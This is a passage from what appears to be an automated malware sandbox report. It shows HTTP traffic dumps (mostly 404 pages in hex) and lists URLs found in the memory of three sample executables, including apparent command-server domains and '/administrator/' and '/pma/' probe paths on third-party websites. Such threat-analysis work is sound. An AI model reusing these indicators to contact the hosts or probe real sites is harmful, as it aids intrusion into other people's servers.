22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:39 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:39 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:39 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn59.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:39 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.devnetmedia.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6655Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 52 5d 73 dc 36 96 7d 96 7e 05 44 d7 5a 52 d2 20 5b 2d c9 76 24 b5 52 b3 4e a6 6a b6 92 4c 2a 4e 6a 1f 26 53 29 34 79 9b 84 0d 02 18 00 ec 56 8f e3 ff be 17 20 d9 4d 76 93 b2 9c 4d 66 e7 61 5d 89 9a b8 9f e7 9e 73 ee 4e 32 95 ba 8d 06 52 b8 52 dc 1f df f9 1f 22 98 cc e7 11 48 fa d3 9b c8 c7 80 65 f7 c7 47 77 25 38 46 d2 82 19 0b 6e 1e fd f4 e3 9f e9 ab 68 1b 97 ac 84 79 b4 e2 b0 d6 ca b8 88 a4 4a 3a 90 58 b7 e6 99 2b e6 19 ac 78 0a 34 3c 26 84 4b ee 38 13 d4 a6 4c c0 fc 22 4c 11 5c be 23 06 c4 3c d2 46 2d b9 80 88 14 06 96 f3 a8 70 4e df 24 49 5e ea 3c 56 26 4f 1e 96 32 b9 a8 7b 1c 77 02 ee bf 67 39 10 a9 1c 59 aa 4a 66 e4 f9 b3 57 b3 8b 8b 5b f2 15 ac be 03 f7 2d 64 9c dd 25 75 e5 f1 6e cb 69 26 2d d5 b8 00 5c 5a 9c d6 ab 4e 93 64 89 b0 6d 9c 2b 95 0b 60 9a db 38 55 e5 29 49 9e d0 69 e3 b5 87 b7 57 1c 31 e1 c0 48 e6 f0 1c cf 33 06 b4 16 3c 65 8e 2b 99 18 6b 3f 7f 28 05 a6 3c bc 79 d4 81 4c 9e 1b f6 8f 4a dd 92 3f 03 64 7b 54 ac d7 eb 18 09 95 e0 4a 5f ea 31 26 4b 2c 4b a2 df 7b f9 6b 55 96 a8 a2 7d 2a 8a b4 a9 ef c0 39 3a ba b3 a9 e1 da 35 10 1c 3c b8 e4 2d 5b b1 3a ea 75 3c 3a 5a 73 99 a9 75 fc cb 5a 43 a9 de f2 37 e0 1c 97 b9 25 73 f2 3e 5a 30 0b 3f 19 11 dd 84 c5 f6 e6 e7 e4 e7 96 ec 9f 13 5e a2 f8 f6 67 5c 6c e0 e7 24 34 ff 9c 5c 5c c6 d3 78 fa 73 f2 72 f6 f0 72 f6 73 12 4d 22 dc 89 fd b1 96 39 3e ec 2a ff 6d f3 b0 31 4c c3 df af eb 81 f8 e5 df aa 32 29 44 37 ef 23 74 3d b2 1b da 9a f9 61 fc 00 55 18 d4 94 cb 54 54 99 df f7 d6 86 40 e8 a4 a8 1d e0 d1 71 c9 65 fc d6 7e b9 02 33 bf 8e af e3 8b cb e8 c3 87 5b 4f d7 c9 b2 92 a9 17 f1 0c 26 6c e2 ce df af 98 21 72 62 26 6a c2 e7 38 de 00 82 f8 5a 80 d7 e2 2c 4a 99 44 b6 a3 f3 89 9e f3 38 07 f7 1a 3d 8e 84 3c 7f de 7d 9d 45 b3 2c 3a bf 6d 07 13 8b a3 9b c1 6c fe c6 19 94 23 5e 1a 55 be 2e 98 79 ad 32 b8 d5 71 8a 28 cd 0f 90 ba b3 e9 64 3a e1 f1 9a 67 ae c0 df 02 78 5e 38 5c 17 2f b9 10 3f fa e1 2c f6 ce db 9c b9 82 db 09 9c 63 f9 f4 fc 16 10 8e 53 5f 31 c7 7e fa e1 9b b3 f3 5b 03 ae 32 92 fc f6 c1 ae 1e 3c 81 f9 bc 3f fa c3 f6 ac f4 0c ea a3 dc 21 4f 8d 21 cf 6f 5d 6c 4d 3a c7 fb 51 b4 25 92 ef e2 61 eb 4e 98 27 b0 e9 b7 ff b9 f9 91 e5 df b1 12 ce a2 02 18 92 f9 b7 e9 df 3d 3a 90 d9 eb 82 8b ec cc 21 0e 65 ce d4 fc 4f c6 b0 cd 59 b4 14 cc bb a7 76 cb 39 6e b3 95 d6 ca 38 3b 7f 0f a8 f9 06 6f 92 f9 cd c9 74 b2 7b 7d fd 90 82 76 7f c6 46 8c 7f 98 98 f9 f4 d6 dc a9 58 80 cc 5d 71 6b 3e ff fc 7c 37 e5 6f ea 6f e6 ef 7f 9f ef ac 72 fe 9e 2f cf 4e f4 af bf 9e ec 08 3c af 49 3f b9 b8 b5 6b ee d2 e2 4c c7 fe ca ff 44 fb 09 2e fd cd 4a 47 9e 70 74 c9 3c 7a 31 9d 92 cb 99 7e 20 7f 32 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:14:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:15:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:15:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:15:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:15:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:15:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8d560e557e715856.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8f7940a0023aab5c.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8f7940a0023aab5c.com/o
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9ef1e72a04361055.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://9ef1e72a04361055.com/o
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a2b-internet.com/
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a2b-internet.com/administrator/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a2b-internet.com/c4.com
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a2b-internet.com/pma/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a2b-internet.com/pma/om
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp, 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a4f53bcfebc986c4.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a4f53bcfebc986c4.com/-l
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://activegraphics.com/
Source: 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aia.startssl.com/certs/ca.crt0
Source: 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aia.startssl.com/certs/sca.code3.crt06
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://alnajah.net/administrator/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antoniocorts.net/administrator/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antoniocorts.net/administrator/59-1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artusopastry.blogspot.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artusopastry.com/admin/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://artusopastry.com/cdn/shop/files/ArtusoLogo_Full-Red_eeedf7d6-cab8-4803-a22e-af505bdac043_1200
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ba02867e18351c89.com/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blackdesign.com.sg/
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blackdesign.com.sg/r
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bookmyrace.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bookmyrace.com/it.com
Source: 5828.exe, 00000008.00000002.2040972155.000000000063E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://breakfastchanneljw.fun/api
Source: 5828.exe, 00000008.00000002.2040972155.000000000063E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://breakfastchanneljw.fun/apiee
Source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062578146.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057179953.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826F7000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058535542.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057858326.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2057569040.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2060162001.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 